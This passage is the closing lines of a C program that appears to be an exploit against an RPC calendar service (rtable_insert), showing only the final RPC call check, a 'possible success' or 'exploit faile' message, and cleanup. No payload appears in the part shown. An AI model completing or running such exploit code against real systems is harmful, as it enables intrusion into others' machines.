               xdr_Table_Res,(caddr_t)&tr,tv)!=RPC_SUCCESS)
    (void)printf("possible success\n");
  else
    {
      (void)fprintf(stderr,"error: exploit faile: rtable_insert returned\n");
      exit(-1);
    }

  (void)clnt_destroy(c);

  return(0);
}

